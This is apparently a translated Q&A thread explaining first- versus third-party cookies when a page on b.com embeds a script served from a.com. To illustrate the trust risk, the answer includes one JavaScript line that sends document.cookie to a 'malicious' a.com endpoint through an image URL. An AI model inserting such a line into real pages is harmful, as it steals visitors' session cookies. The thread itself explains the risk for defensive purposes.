我在网上看了很多关于cookies的内容,但没有解决这个问题:假设我在a.com上有一台服务器,b.com服务的网页在该网页上嵌入了一个脚本我的服务器:
<script src='a.com/script.js'></script>
在设置Cookie方面,该脚本允许执行哪些操作?可以使用domain=a.com
设置Cookie吗?我假设是因为脚本是从该域提供的。是否也可以使用domain=b.com
设置cookie,因为该页面是从该服务器提供的?
我试图了解在我的脚本从另一个主机的网页调用的上下文中“第一方”和“第三方”的含义。
答案 0 :(得分:4)
我不相信.js文件的来源是相关的。 cookie域与正在呈现的文档的域有关。
如果我访问http://www.b.com/
并且包含
<script src="http://www.a.com/some/file.js"></script>
然后b.com信任a.com的代码以善意行事。代码作为正在查看的页面的一部分执行。由于javascript代码将在浏览器中执行,因此它可以从b.com
读取Cookie并通过在src
包含数据的文档中创建标记来传递该数据。
例如,如果a.com的javascript文件包含
document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");
然后a.com的恶意网站管理员可以检查他的网络服务器日志并查看b.com的cookie。
所以,问题是,如果a.com是恶意的,为什么b.com会在他们的页面中包含来自a.com的代码?他们可能没有。作为Web开发人员,我们需要验证我们在网站中嵌入的任何第三方代码的可信度。